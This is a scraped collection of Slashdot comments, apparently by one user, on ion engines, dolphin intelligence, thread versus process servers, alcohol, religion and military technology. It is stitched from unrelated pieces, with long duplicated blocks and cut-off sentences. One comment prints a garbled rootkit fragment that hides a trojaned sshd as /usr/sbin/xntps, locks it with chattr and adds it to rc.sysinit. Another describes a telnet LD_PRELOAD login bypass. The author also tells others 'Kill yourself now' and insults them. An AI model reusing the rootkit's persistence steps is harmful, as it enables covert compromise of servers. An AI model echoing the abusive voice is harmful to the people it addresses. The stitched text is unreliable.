1. In an ion engine you WANT to accelerate the propellant as fast as possible -- the satellite get the same momentum as propellant in the opposite direction, so to get best use of the same mass of propellant you should accelerate it to the maximum speed your engine allows with reasonable energy efficiency. If it's a chemical engine, the amount of energy you can use is proportional to the amount of fuel you burn, so you don't really have a choice -- from conservation of energy the maximum possible speed of escaping gas is square root of the twice energy produced by burning a unit of mass. If energy can only come from fuel, the only way to increase speed beyond that is to leave some burned fuel in the satellite yet pass its energy to the escaping gas, so even if you somehow manage to do that, you have to release burned fuel at a lower speed later, thus wasting energy, or keep it stored thus wasting energy and also increasing your mass.
If your energy comes from solar panels (so it arrives if you want it or not) or a nuclear reactor (so fuel and propellant are separate), you should try to use propellant as efficiently as possible, accelerating it to the maximum speed that the engine design allows. To control the total momentum produced by the engine you can just run it for a longer or shorter time.
2. Drawing in the article makes no sense, unless it's missing something important. If electric and magnetic fields' directions are as shown (electric along the axis, magnetic along the radius), electrons' trajectories will be, depending on the initial speed, spirals around the axis of the device, or , more likely, loops returning them to the anode, not spirals around circles shown on the drawings. They would look like those spirals if those circles were magnetic field caused by the current produced by ions, but then this field should be significantly stronger than the radial magnetic field.
3. There should be something accelerating electrons, or this engine will end up charged negatively, decelerating ions that leave it until the whole process stopped with a large cloud of positive ions hanging behind it. The drawing shows cathode that supposedly emits electrons, and direction of the electric field suggests that cathode is much larger than shown of that there is another cathode, but it still doesn't show why this cathode emits electrons. It may be in a way of the stream of ions, so it's hot from being bombarded by them, or it may be an electron cannon, like in CRTs, or both, but the drawing shows neither. If the electrons going in circles are outside the engine, as opposed to how they are shown inside it, it kinda makes sense considering that ions leaving the engine produce circular magnetic field, but then the drawing misplaces it inside the cylindrical engine, where magnetic field is in a completely different direction.
4. Any ion engine can regulate the speed of its exhaust -- it's determined by electric field's strength that is in its turn determined by voltage/position of electrodes. Maybe they have invented some other way to regulate it, for example, by changing the magnetic field, but it's not what the articles claim.
5. Ion engines can't launch satellites by themselves -- even if they are used at some point, the vast majority of the energy passed to the satellite is produced by chemical engines. Ion engines can be used to adjust orbit, or to accelerate in the process of interplanetary travel, but they are useless for initial launch that requires huge amount of energy to be released over a short time. Optimizing the use of fuel for orbit adjustment may reduce the initial mass of satellite (by the amount of fuel or ion engine propellant saved over the lifetime of the satellite), what in its turn can decrease the amount of fuel used for launch.
However at the point when satellite reaches the orbit most
When I have first seen this article I thought, LD_PRELOAD bug is back -- old telnet allowed the remote user to pass environment variables including LD_*, so it will run login (as root, of course) with whatever library user had previously uploaded on the host, thus bypassing authentication.
I am not sure what is the dumbest thing in the world. But whatever the dumbest thing is, it is closely followed by the idea of battling network infrastructure overload and poor computer security with bombs.
Unless they are going to bomb Redmond, where the problem originated. Then it would be awesome.
I am a foreigner, and I live in US for 13 years, so I speak with Russian accent. I have never seen those voice recognition systems working correctly.
Oh, and to the enormous crowd of morons in this thread who did not understand the problem, and "discussed" automated systems vs. human operators instead of voice recognition vs. keypad menus: Kill yourself now.
This isn't my area of research at all, but I'd have to disagree with your statement - escaping from a net is merely exploring all possible avenues for escape, not making a connection between unrelated objects. Dolphins regularly jump out of water, they are not aware of whether the net extends out of the water or not, there are no other means of escape - trying to jump over the net is the logical extension of this. It's a fairly big step in reasoning, though - I'm not saying that if a dolphin can't work it out then it's stupid.
First of all, dolphin has to realize that the net is an obstacle. Second, he has to understand that he is in danger if he remains inside the net. Third, he has to understand that it's safe outside the net. Fourth he has to understant that the net ends above the surface (where he can't see well enough to determine if the net is there). And on top of all he should realize that jumping out of water can be useful for escape. None of those things even remotely can be derived from a dolphin's experience, so from his point of view he is dealing with unknown and seemingly unrelated things.
From our point of view this makes no sense because we deal with nets, barriers, cages, wire fences, etc. all the time, so we instantly recognize "something flexible that is hanging in front of you and looks like a grid" as a barrier intended to keep us from reaching the other side, and the obvious solution is to "climb over the top of it". But if we didn't deal with those things all the time, and had to navigate in 3d space full of various, mostly benign, objects, why would we recognize a net as a barrier? Why jumping over the top and not, say, dive under its bottom? How much of the net one has to see to even realize that it has a vertical wall that reaches the surface?
But I still think his research sounds interesting - there's clearly been quite a lot written about the different composition of dolphin brains, but the idea of a selective link between water temperature and brain volume appears new, and is at least something that merrits reading the article before slamming it as stupid!
It may be the first mentioning of specifically brain evolution, but it's well known that low temperature, thermal conductivity and high specific heat of water place some unusual "design restrictions" on warm-blooded animals.
Cold-blooded animals that live in the ocean can have pretty much any size as long as they are capable of collecting enough food to sustain their bodies. Warm-blooded ones have to keep energy balance with the surrounding water while maintaining their optimal temperature. Energy that is dissipated to the water per unit of time is proportional to the body surface (size^2) temperature difference (constant) and inversely proportional to the thickness of the insulating layer of fat. Energy released from the food per unit of time, assuming that food is abundant, is proportional to the volume of the digestive system (size^3). This means, the smaller is the animal, the larger percentage of its body mass will be spent on fat, and there is an absolute low limit for the body size. However the larger is the animal, the more "spare" energy it can have, and the less efficiently it has to feed. At the top we see blue whales that don't have to be efficient at their feeding at all, and can sustain themselves by filtering large quantities of water for plankton. The smaller is the animal, the higher are his requirements for food quantity and quality -- what is completely different from their cold-blooded neighbors.
So the question is, does the requirement for better food-finding ability drive the development of the dolphin's brain, or environment directly affects the need for a larger brain? I don't know what is a typical dolphin brain surface temperature, but internal body temperature is not too far from one of a human, so blood that is passed to the brain is just as warm as our own one. So if dolphins' brain developed in the same way a
Can you cite some references as regards this? There's certainly an assumption in the community that dolphins are intelligent animals, but I couldn't find anything documenting this other than anecdotal stories... Please understand, I'm not saying that they're not intelligent, just healthily sceptical.
So if intelligence was directly related to brain size then such claims ought to stand. And I guess that's the whole point of Manger's article - dolphins might be highly socially organised animals, but their level of intellect is not as great as their brain size alone would suggest. (And from the abstract, one of the reasons for that surrounds the different cellular composition of the dolphin brain, which is especially interesting considering the Marino, et al, 2000 paper cited above)
But no one actually made such a claim -- that dolphins are smarter than all animals with smaller brains, or that brain size alone determines intelligence. No one even claimed that dolphins' and primates' brains are similar enough to justify such a comparison, so if he is opposing something, it's a strawman. Study of the differences between brains of dolphins and land-dwelling mammals is valuable in itself, but it doesn't really refute anything, least of all it can invalidate the experiments and observations that show complex behavior in dolphins.
No they wouldn't! It's just a barrier - its purpose is irrelevant.
It's possible that dolphin may be completely unaware that the net can be a barrier, even if he can see it. Absolutely nothing else in the ocean looks like a fishing net, and dolphins never come in contact with fishing nets over the course of their lives, so it contradicts their experience. Escaping from the net would be an equivlent of a dog figuring out that "invisible fence" collar is controlled by a transmitter, and turning it off, or for a human to figure out that a wall of smoke in the middle of a room is a portal to some other place.
If it was known to be impossible to _train_ a dolphin to jump out of a net, then it would be an evicence of some deficiency.
The issue is how an animal deals with that barrier (*). But your point about not being able to detect the net (either by echo location or sight) seems valid enough (although after swimming into it enough times you'd reckon they'd work it out - again, it's a question of the ability of the animal to reason rather than just interact with their environment...)
If dolphins were able to "reason" about fishing nets at that extent, they would be able to recognize lost or abandoned nets, pick them up, and use them to catch fish. This is definitely far beyond their abilities.
(*) A dolphin - if aware at all - should be well aware of the fact that the sea surface is not the end of its spatial confines. Trap a human in a room with a pool of water, completely enclosed to the water boundary, and it's highly likely that the human will dive under the water in order to see if the walls continue, or if there is a hidden way out.
When diving, a human usually can expect that he can return to the water surface if he finds out that there is no exit underwater. When jumping out of water close to other objects, a dolphin is very likely to find himself stranded on the rocks, deck of a boat, beach or other places from where he can't return.
Well, no - that would be making a claim that dolphins are smart.
That would be admitting that dolphins are as smart as they are observed to be smart -- what is smarter than most of animals, and this is already observed. He makes a claim that others "assert" that dolphins are smarter than they are observed merely because their brain is large, with no observation to support that assertion. If someone claims so, this can be refuted by an experiment, not by "explanations" why better brain could or could not develop in dolphins.
Incidentally, I did a quick literature search to see what had been written about dolphins and high intelligence, and can't find all that much. If anyone knows of any actual scientific studies on dolphin intelligence (and I'm sure there's been heaps, but all I can find are a few articles relating to social structure and social intelligence... ironically, a search for "cetacean intelligence" in PubMed only brings up Paul Manger's own abstract!) then I'd be interested to see them...
Because it's rare in general to have term "intelligence" applied to animals in scientific literature. If he is trying to refute claims that dolphins are "more intelligent" than apes and humans, I think, he would have hard time finding someone making such a claim, however dolphins' behavior is definitely more complex compared to othe sea animals, and this is a well-researched area.
I have to say, I'm rather fascinated by the "why don't dolphins jump over fishing nets" thing! You've got to admit, it would be a simple solution to their dilemma if they're trapped without a means of escape: they certainly know how to jump out of the water well enough... (although I wonder if the problem with fishing nets is more one of being entangled in them?)
That, and the fact that fishing nets are the only objects in the ocean that dolphins can't see or get an echo response from. The only other object that comes any close is seaweed, and it's benign. Also dolphins don't know that the net ends above the surface -- to derive that they would have to understand its purpose, gathering food for land-dwelling humans.
Actually, that's not true - "These data are assimilated to demonstrate that there is no neural basis for the often-asserted high intellectual abilities of cetaceans" merely states that the brain structure does not necessarily imply a high level of intelligence.
If he didn't make a claim that dolphins are stupid, that would be "no neural basis for the observed high intellectual abilities of cetaceans".
These data are assimilated to demonstrate that there is no neural basis for the often-asserted high intellectual abilities of cetaceans.
These observations provide an alternative to the widely held belief of a correlation between brain size and intelligence in cetaceans.
This is a claim that dolphins and whales are stupid, and that their intelligence is "assertion" and "belief" of researchers -- what is separate from the claim that large brains developed for the reason other than need for complex behavior, what driven development of, say, primates.
Of course, this can be be easily refuted unless he can present some evidence that explains actual behavior of dolphins -- what is observed to be more complex than behavior of fish and other animals with significantly smaller brain. I have no idea why those two claims are mixed -- you don't have to prove that dolphins are stupid to support a hypothesis that their brains developed because smaller brain of a warm-blooded animal can't survive in cold water. Even if brains of dolphins and whales are not as efficient per volume as brains of land animals, it does not mean that among similar animals larger brains aren't responsible for more complex behavior, so it's quite possible that there was no evolutionary pressure to improve intelligence of dolphins, yet brains size and complexity increased for other reasons, and caused increased intelligence anyway.
Maybe the researcher is stupid, and doesn't understand logic, or maybe the article includes some detailed and plausible explanation for dolphins' behavior that no one noticed.
Although I've never heard of anyone being in ill health due to an excess of good cholesterol, I suppose it is possible. Do you have any reference to this? Not that it really matters - I'm just curious.
This is illogical -- you don't understand simple negation.
Alcohol, in certain forms and amounts, is actually very healthy when ingested. In the past the same view you mentioned was widely believed - only recently has science started taking a different view. There is quite a bit of evidence mounting that a daily glass of red wine is very beneficial to one's heart health. They haven't really nailed down the exact reasons why it is - as far as I know - but it does seem to have an effect over time. Oddly enough, there is a verse in the New Testament of the Bible that states something similiar although it doesn't mentioon the heart specifically. (Sometimes both sides agree - scary, huh?)
Ethyl alcohol, as in, C2H6O, is a poison, and its presence in wine does not change that fact. Wine contains chemicals that have positive effect on a human organism, and can be the only safe liquid to drink in situation when most of available water can be easily contaminated. However all those benefits can be achieved without ingesting alcohol, thus avoiding the harm that it causes. Once again, you demonstrate ignorance and inability to perform simple logical operations.
I agree with what I think you were touching on in your second sentance - excess. These two mentioned items, eggs and alcohol (as well as anything else that I can think of), are harmful if used in excess.
I have no idea, what you are talking about.
You assert, if I understand correctly, that science has always been closer to the truth than religion. I believe your opposite, someone who placed their faith in God, would argue that mankind has never been further away from God.
It's good that opinions have no effect on facts.
The fact is, gods do not exist. And unless you can prove it to be otherwise, no one but other religious people, has any obligation to care about what you are saying.
My assertion is just that your logic request is not possible - both sides view logic in a different way. An example: (I heard this logical argument a few years ago) If God does not exist and you follow His teachings, you would live a moral, civic life and when you died you would just be dead. If God does exist however and you did not follow His teachings you would die and face His judgement (which, as we know, in the Judeo-Christian tradition is condemnation to Hell if you have not accepted Him and His teachings). Using that argument, which is the logical course of action? I'm sure you disagree but how do you prove it? (it can't be the physical aspect - science uses faith in many ways to explain certain things that it does not understand because it can't be physically tested yet - but that's an entirely different discussion) The only way to be absolutely certain comes from information that can only be obtained after death - not exactly the most inviting way to test a hypothosis.
It's Pascal's wager, a well known fallacy. You demonstrate your stupidity by just bringing it up, however if you care to see a complete refutation, you can choose from "What if the god doesn't want to be known, and will punish the believers?", or "How one should choose between completely different possible gods, with conflicting demands to the humans?".
Sure as hell, it was much safer to assume that excess of cholesterol is always bad than the opposite, what an ignorant person would think.
And I have no idea where did you pick up a refutation of alcohol being always harmful -- the fact that alcoholic beverages may contain something useful does not change the fact that alcohol itself is poisonous.
No matter what, we are not aware of any stretch of time when science was farther from the truth about anything than religious belief was, so everything you just wrote is absolute bullshit diluted with irrelevant stuff about the number of Slashdot comments.
I don't understand how processes could possibly be faster than threads doing the same task. If processes are better because there is no interaction between them, then threads doing the same task would also have no interaction between them, while incurring faster context switches.
Because there IS interaction between threads -- mutexes handling takes resources, too, and checking i/o status also requires time and syscalls (OS just supplies pending i/o information to its scheduler by itself). And because data access mechanism within your application is likely to be a much worse scheduler than scheduler in the OS.
Of course it seems silly in this day and age to have a single thread/process handling a single connection in anything resembling a high-performance server.
Actually, it's not (unless you are in Windows). For quite a while it was the only way network i/o was possible in Java at all. And while it was a bad decision for Java, it was based on a valid idea that sleeping threads or processs eat less resources than what is necessary for multiplexed handling of completely unrelated connections within one thread.
In that case, each thread/process should be able to handle multiple connections at once. It should execute a request, grab the next request off the queue or wait for one, ad infinitum. With all threads in a single process, it is easy to balance the load queues between threads; with separate processes it is almost impossible to move a request from a busy process to a waiting one.
You don't need to do that -- i/o scheduler in kernel does that for you already, and when that is not good enough, you can have a separate process that dispatches request by whatever set of rules. As opposed to Windows, Unixlike systems allow socket passing between processes.
Also, it's hard to understand why reducing total physical footprint and amount of cache invalidations is only good on systems with bad VM systems or "crippled" schedulers (whatever that means).
Because with good VM they are smaller in the first place. In any case, when you deal with scalale systems that have to handle huge amounts of requests simultaneously, your cache will be severely beaten just because of the large amount of data involved.
I don't understand how processes could possibly be faster than threads doing the same task. If processes are better because there is no interaction between them, then threads doing the same task would also have no interaction between them, while incurring faster context switches.
Because there IS interaction between threads -- mutexes handling takes resources, too, and checking i/o status also requires time and syscalls (OS just supplies pending i/o information to its scheduler by itself). And because data access mechanism within your application is likely to be a much worse scheduler than scheduler in the OS.
Of course it seems silly in this day and age to have a single thread/process handling a single connection in anything resembling a high-performance server.
Actually, it's not (unless you are in Windows). For quite a while it was the only way network i/o was possible in Java at all. And while it was a bad decision for Java, it was based on a valid idea that sleeping threads or processs eat less resources than what is necessary for multiplexed handling of completely unrelated connections within one thread.
In that case, each thread/process should be able to handle multiple connections at once. It should execute a request, grab the next request off the queue or wait for one, ad infinitum. With all threads in a single process, it is easy to balance the load queues between threads; with separate processes it is almost impossible to move a request from a busy process to a waiting one.
You don't need to do that -- i/o scheduler in kernel does that for you already, and when that is not good enough, you can have a separate process that dispatches request by whatever set of rules. As opposed to Windows, Unixlike systems allow socket passing between processes.
Also, it's hard to understand why reducing total physical footprint and amount of cache invalidations is only good on systems with bad VM systems or "crippled" schedulers (whatever that means).
Because with good VM they are smaller in the first place. In any case, when you deal with scalale systems that have to handle huge amounts of requests simultaneously, your cache will be severely beaten just because of the large amount of data involved.
You almost never have less performance-critical processes (say, web server + database server processes) than CPUs, so for most of applications, in situation where you don't have a shared context that you need a read-write access to from all requests, use multiple processes. If you do have such a shared context, you need to consider the overhead from synchronization between threads vs. no simultaneous access. Also take into account that socket i/o is not synchronous -- a process may have sent a buffer to the kernel and switched to processing another request, but kernel is still sending the data from that buffer. The same happens with receiving data -- it may have arrived already, but the kernel is filling the input buffer while the server process is not looking there. If the data never arrives faster than it can be processed, you gain no benefit from trying to process it in parallel -- your threads will be sleeping more, and performance will remain the same.
On systems with crippled schedulers and VM, threads are very efficient compared to everything else because your application becomes its own scheduler, and it reduces the total physical footprint and amount of cache invalidations. With better scheduler and VM, it makes more sense to rely on the OS insulating processes and scheduling their i/o, so the solution with multiple processes becomes more efficient in the absence application's need to share some data between multiple requests.
...start developing their own ideas, and not just turn science fiction movies props into toys? Sure, Arthur C Clarke had some pretty good ideas (having a goal to make realistic things in the first place -- what Star Wars never had), but even trying to make something that looks like a shuttle from "2001" movie ended up a rather suboptimal vehicle (that was obsolete in a *real* 2001, leave alone now).
Can anyone please tell us, what would be the projected lifetime of those things in open space with ways of storing energy/fuel that are going to be available within 10-15 years? That means, no thermonuclear shit, thermonuclear was 25 years away for 50 years already, thankyouverymuch.
What about precision of movement while performing any operation that a drunk guy in a space suit over another space suit over pajamas won't do better? How many times the expected mass of that thing is going to increase to be able to use a screwdriver? Hello anyone? Did anyone think about any relevant technical issues at all, or the goal was to make a prop for "Star Wars VII: Palpatine Is Still Alive, Dammit" to be shot entirely on ISS (and released exclusively there, too)?
...of everything that is wrong with US military-related technology development.
1. Solution for nonexistent problem -- CHECK. 2. Can be easily defeated by any enemy worth fighting by those means (just shoot from canons or launch rockets at the minefields until they are safe) -- CHECK. 3. Can be defeated by almost any other enemy (just jam the communications and/or map mines positions while they are moving) -- CHECK. 4. Uses technology that is currently too unreliable for military use (radio communications) -- CHECK. 5. Requires technology that is not going to become feasible in almost a century but looks cool in the movies (actuators and sources of energy that can move those mines) -- CHECK. 6. If implemented, is not any better than just increasing the quantity of whatever is deployed -- CHECK. 7. If implemented, is not any better than just sending more forces to shoot at the enemy. -- CHECK. 8. Is unreasonably expensive to implement -- CHECK. 9. Requires heavy modification of existing equipment to be deployed -- CHECK. 10. Requires a power source where none was needed before -- CHECK. 11. Is an attempt to stuff a computer into something where it does not improve anything -- CHECK. 12. Is a misguided attempt to make it absolutely impossible for the enemy to kill am american soldier in a war -- NO CHECK, you win that one.
Because massive sideway forces that can't possibly be balanced over the whole length of the wing, and asymmetrically applied lifting forces ARE COOL, especially on a plane that has to cover great distances and carry heavy bombs. I have a better idea -- why don't they just fly a bomber sideways?
I am sure, a giant boomerang version of this is in the works, too.
1. If Microsoft announced cancellation of all its products in three years, recommended all Windows-bound developers to migrate their products to any established open source OS, and assisted with such migration, it would be a decent thing, that would minimize the damage caused by Microsoft.
2. Failing that, Gates can kill Ballmer, then himself. Then Microsoft wouldn't have psychotic assholes leading it, and will become a "dead" company (like AT&T or IBM -- a lot of money, no ideology or desire to crush industries) within 2-3 years.
Anything other than that would be like pissing into the ocean of evil.
Slashdot Mirror
1. In an ion engine you WANT to accelerate the propellant as fast as possible -- the satellite get the same momentum as propellant in the opposite direction, so to get best use of the same mass of propellant you should accelerate it to the maximum speed your engine allows with reasonable energy efficiency. If it's a chemical engine, the amount of energy you can use is proportional to the amount of fuel you burn, so you don't really have a choice -- from conservation of energy the maximum possible speed of escaping gas is square root of the twice energy produced by burning a unit of mass. If energy can only come from fuel, the only way to increase speed beyond that is to leave some burned fuel in the satellite yet pass its energy to the escaping gas, so even if you somehow manage to do that, you have to release burned fuel at a lower speed later, thus wasting energy, or keep it stored thus wasting energy and also increasing your mass.
If your energy comes from solar panels (so it arrives if you want it or not) or a nuclear reactor (so fuel and propellant are separate), you should try to use propellant as efficiently as possible, accelerating it to the maximum speed that the engine design allows. To control the total momentum produced by the engine you can just run it for a longer or shorter time.
2. Drawing in the article makes no sense, unless it's missing something important. If electric and magnetic fields' directions are as shown (electric along the axis, magnetic along the radius), electrons' trajectories will be, depending on the initial speed, spirals around the axis of the device, or , more likely, loops returning them to the anode, not spirals around circles shown on the drawings. They would look like those spirals if those circles were magnetic field caused by the current produced by ions, but then this field should be significantly stronger than the radial magnetic field.
3. There should be something accelerating electrons, or this engine will end up charged negatively, decelerating ions that leave it until the whole process stopped with a large cloud of positive ions hanging behind it. The drawing shows cathode that supposedly emits electrons, and direction of the electric field suggests that cathode is much larger than shown of that there is another cathode, but it still doesn't show why this cathode emits electrons. It may be in a way of the stream of ions, so it's hot from being bombarded by them, or it may be an electron cannon, like in CRTs, or both, but the drawing shows neither. If the electrons going in circles are outside the engine, as opposed to how they are shown inside it, it kinda makes sense considering that ions leaving the engine produce circular magnetic field, but then the drawing misplaces it inside the cylindrical engine, where magnetic field is in a completely different direction.
See http://www.nasa.gov/centers/glenn/about/history/ip sworks.html for comparison.
4. Any ion engine can regulate the speed of its exhaust -- it's determined by electric field's strength that is in its turn determined by voltage/position of electrodes. Maybe they have invented some other way to regulate it, for example, by changing the magnetic field, but it's not what the articles claim.
5. Ion engines can't launch satellites by themselves -- even if they are used at some point, the vast majority of the energy passed to the satellite is produced by chemical engines. Ion engines can be used to adjust orbit, or to accelerate in the process of interplanetary travel, but they are useless for initial launch that requires huge amount of energy to be released over a short time. Optimizing the use of fuel for orbit adjustment may reduce the initial mass of satellite (by the amount of fuel or ion engine propellant saved over the lifetime of the satellite), what in its turn can decrease the amount of fuel used for launch.
However at the point when satellite reaches the orbit most
When I have first seen this article I thought, LD_PRELOAD bug is back -- old telnet allowed the remote user to pass environment variables including LD_*, so it will run login (as root, of course) with whatever library user had previously uploaded on the host, thus bypassing authentication.
This is... -froot indeed...
I am not sure what is the dumbest thing in the world. But whatever the dumbest thing is, it is closely followed by the idea of battling network infrastructure overload and poor computer security with bombs.
Unless they are going to bomb Redmond, where the problem originated. Then it would be awesome.
I am sure, in nearly half a century of manned space flight there were many cosmonauts/astronauts that are nerdier than some rich Microsoft guy.
I am a foreigner, and I live in US for 13 years, so I speak with Russian accent. I have never seen those voice recognition systems working correctly.
Oh, and to the enormous crowd of morons in this thread who did not understand the problem, and "discussed" automated systems vs. human operators instead of voice recognition vs. keypad menus: Kill yourself now.
First of all, dolphin has to realize that the net is an obstacle. Second, he has to understand that he is in danger if he remains inside the net. Third, he has to understand that it's safe outside the net. Fourth he has to understant that the net ends above the surface (where he can't see well enough to determine if the net is there). And on top of all he should realize that jumping out of water can be useful for escape. None of those things even remotely can be derived from a dolphin's experience, so from his point of view he is dealing with unknown and seemingly unrelated things.
From our point of view this makes no sense because we deal with nets, barriers, cages, wire fences, etc. all the time, so we instantly recognize "something flexible that is hanging in front of you and looks like a grid" as a barrier intended to keep us from reaching the other side, and the obvious solution is to "climb over the top of it". But if we didn't deal with those things all the time, and had to navigate in 3d space full of various, mostly benign, objects, why would we recognize a net as a barrier? Why jumping over the top and not, say, dive under its bottom? How much of the net one has to see to even realize that it has a vertical wall that reaches the surface?
It may be the first mentioning of specifically brain evolution, but it's well known that low temperature, thermal conductivity and high specific heat of water place some unusual "design restrictions" on warm-blooded animals.
Cold-blooded animals that live in the ocean can have pretty much any size as long as they are capable of collecting enough food to sustain their bodies. Warm-blooded ones have to keep energy balance with the surrounding water while maintaining their optimal temperature. Energy that is dissipated to the water per unit of time is proportional to the body surface (size^2) temperature difference (constant) and inversely proportional to the thickness of the insulating layer of fat. Energy released from the food per unit of time, assuming that food is abundant, is proportional to the volume of the digestive system (size^3). This means, the smaller is the animal, the larger percentage of its body mass will be spent on fat, and there is an absolute low limit for the body size. However the larger is the animal, the more "spare" energy it can have, and the less efficiently it has to feed. At the top we see blue whales that don't have to be efficient at their feeding at all, and can sustain themselves by filtering large quantities of water for plankton. The smaller is the animal, the higher are his requirements for food quantity and quality -- what is completely different from their cold-blooded neighbors.
So the question is, does the requirement for better food-finding ability drive the development of the dolphin's brain, or environment directly affects the need for a larger brain? I don't know what is a typical dolphin brain surface temperature, but internal body temperature is not too far from one of a human, so blood that is passed to the brain is just as warm as our own one. So if dolphins' brain developed in the same way a
For example, this: Dolphins recognized themselves in a mirror.
But no one actually made such a claim -- that dolphins are smarter than all animals with smaller brains, or that brain size alone determines intelligence. No one even claimed that dolphins' and primates' brains are similar enough to justify such a comparison, so if he is opposing something, it's a strawman. Study of the differences between brains of dolphins and land-dwelling mammals is valuable in itself, but it doesn't really refute anything, least of all it can invalidate the experiments and observations that show complex behavior in dolphins.
It's possible that dolphin may be completely unaware that the net can be a barrier, even if he can see it. Absolutely nothing else in the ocean looks like a fishing net, and dolphins never come in contact with fishing nets over the course of their lives, so it contradicts their experience. Escaping from the net would be an equivlent of a dog figuring out that "invisible fence" collar is controlled by a transmitter, and turning it off, or for a human to figure out that a wall of smoke in the middle of a room is a portal to some other place.
If it was known to be impossible to _train_ a dolphin to jump out of a net, then it would be an evicence of some deficiency.
If dolphins were able to "reason" about fishing nets at that extent, they would be able to recognize lost or abandoned nets, pick them up, and use them to catch fish. This is definitely far beyond their abilities.
When diving, a human usually can expect that he can return to the water surface if he finds out that there is no exit underwater. When jumping out of water close to other objects, a dolphin is very likely to find himself stranded on the rocks, deck of a boat, beach or other places from where he can't return.
Well, no - that would be making a claim that dolphins are smart.
... ironically, a search for "cetacean intelligence" in PubMed only brings up Paul Manger's own abstract!) then I'd be interested to see them ...
... (although I wonder if the problem with fishing nets is more one of being entangled in them?)
That would be admitting that dolphins are as smart as they are observed to be smart -- what is smarter than most of animals, and this is already observed. He makes a claim that others "assert" that dolphins are smarter than they are observed merely because their brain is large, with no observation to support that assertion. If someone claims so, this can be refuted by an experiment, not by "explanations" why better brain could or could not develop in dolphins.
Incidentally, I did a quick literature search to see what had been written about dolphins and high intelligence, and can't find all that much. If anyone knows of any actual scientific studies on dolphin intelligence (and I'm sure there's been heaps, but all I can find are a few articles relating to social structure and social intelligence
Because it's rare in general to have term "intelligence" applied to animals in scientific literature. If he is trying to refute claims that dolphins are "more intelligent" than apes and humans, I think, he would have hard time finding someone making such a claim, however dolphins' behavior is definitely more complex compared to othe sea animals, and this is a well-researched area.
I have to say, I'm rather fascinated by the "why don't dolphins jump over fishing nets" thing! You've got to admit, it would be a simple solution to their dilemma if they're trapped without a means of escape: they certainly know how to jump out of the water well enough
That, and the fact that fishing nets are the only objects in the ocean that dolphins can't see or get an echo response from. The only other object that comes any close is seaweed, and it's benign. Also dolphins don't know that the net ends above the surface -- to derive that they would have to understand its purpose, gathering food for land-dwelling humans.
Actually, that's not true - "These data are assimilated to demonstrate that there is no neural basis for the often-asserted high intellectual abilities of cetaceans" merely states that the brain structure does not necessarily imply a high level of intelligence.
If he didn't make a claim that dolphins are stupid, that would be "no neural basis for the observed high intellectual abilities of cetaceans".
These data are assimilated to demonstrate that there is no neural basis for the often-asserted high intellectual abilities of cetaceans.
These observations provide an alternative to the widely held belief of a correlation between brain size and intelligence in cetaceans.
This is a claim that dolphins and whales are stupid, and that their intelligence is "assertion" and "belief" of researchers -- what is separate from the claim that large brains developed for the reason other than need for complex behavior, what driven development of, say, primates.
Of course, this can be be easily refuted unless he can present some evidence that explains actual behavior of dolphins -- what is observed to be more complex than behavior of fish and other animals with significantly smaller brain. I have no idea why those two claims are mixed -- you don't have to prove that dolphins are stupid to support a hypothesis that their brains developed because smaller brain of a warm-blooded animal can't survive in cold water. Even if brains of dolphins and whales are not as efficient per volume as brains of land animals, it does not mean that among similar animals larger brains aren't responsible for more complex behavior, so it's quite possible that there was no evolutionary pressure to improve intelligence of dolphins, yet brains size and complexity increased for other reasons, and caused increased intelligence anyway.
Maybe the researcher is stupid, and doesn't understand logic, or maybe the article includes some detailed and plausible explanation for dolphins' behavior that no one noticed.
A fragment of a rootkit that I have found ($basedir/bin/ssh.tgz contains .sh directory with various files including trojaned sshd):
/lib/security 2>/dev/null /lib/security/.config 2>/dev/null /lib/security/.config/ssh 2>/dev/null
.sh/* /lib/security/.config/ssh/ /usr/sbin/xntps 2>/dev/null /lib/security/.config/ssh/sshd /usr/sbin/xntps /lib/security/.config/ssh/sshd /lib/security/.config/ /usr/sbin/xntps /usr/sbin/xntps -q /usr/sbin/xntps /etc/rc.d/rc.sysinit /etc/rc.d/rc.sysinit /etc/rc.d/rc.sysinit
mkdir
mkdir
mkdir
[...]
cd $basedir/bin
tar xfz $basedir/bin/ssh.tgz
[...]
cd $basedir/bin
mv
chattr -AacdisSu
cp
mv
chmod 755
chattr +isa
echo "# Xntps (NTPv3 daemon) startup.." >>
echo "/usr/sbin/xntps -q" >>
chattr +is
Although I've never heard of anyone being in ill health due to an excess of good cholesterol, I suppose it is possible. Do you have any reference to this? Not that it really matters - I'm just curious.
This is illogical -- you don't understand simple negation.
Alcohol, in certain forms and amounts, is actually very healthy when ingested. In the past the same view you mentioned was widely believed - only recently has science started taking a different view. There is quite a bit of evidence mounting that a daily glass of red wine is very beneficial to one's heart health. They haven't really nailed down the exact reasons why it is - as far as I know - but it does seem to have an effect over time. Oddly enough, there is a verse in the New Testament of the Bible that states something similiar although it doesn't mentioon the heart specifically. (Sometimes both sides agree - scary, huh?)
Ethyl alcohol, as in, C2H6O, is a poison, and its presence in wine does not change that fact. Wine contains chemicals that have positive effect on a human organism, and can be the only safe liquid to drink in situation when most of available water can be easily contaminated. However all those benefits can be achieved without ingesting alcohol, thus avoiding the harm that it causes. Once again, you demonstrate ignorance and inability to perform simple logical operations.
I agree with what I think you were touching on in your second sentance - excess. These two mentioned items, eggs and alcohol (as well as anything else that I can think of), are harmful if used in excess.
I have no idea, what you are talking about.
You assert, if I understand correctly, that science has always been closer to the truth than religion. I believe your opposite, someone who placed their faith in God, would argue that mankind has never been further away from God.
It's good that opinions have no effect on facts.
The fact is, gods do not exist. And unless you can prove it to be otherwise, no one but other religious people, has any obligation to care about what you are saying.
My assertion is just that your logic request is not possible - both sides view logic in a different way. An example: (I heard this logical argument a few years ago) If God does not exist and you follow His teachings, you would live a moral, civic life and when you died you would just be dead. If God does exist however and you did not follow His teachings you would die and face His judgement (which, as we know, in the Judeo-Christian tradition is condemnation to Hell if you have not accepted Him and His teachings). Using that argument, which is the logical course of action? I'm sure you disagree but how do you prove it? (it can't be the physical aspect - science uses faith in many ways to explain certain things that it does not understand because it can't be physically tested yet - but that's an entirely different discussion) The only way to be absolutely certain comes from information that can only be obtained after death - not exactly the most inviting way to test a hypothosis.
It's Pascal's wager, a well known fallacy. You demonstrate your stupidity by just bringing it up, however if you care to see a complete refutation, you can choose from "What if the god doesn't want to be known, and will punish the believers?", or "How one should choose between completely different possible gods, with conflicting demands to the humans?".
How a server got compromised, and ran a Paypal scam site for two days, more technical explanation of what happened, and how to (and how not to) make Yahoo block the accounts involved. Of course, the idea that compromised machine can in any way be trusted, sounds like one of the stupidest things ever thought up by a human.
Sure as hell, it was much safer to assume that excess of cholesterol is always bad than the opposite, what an ignorant person would think.
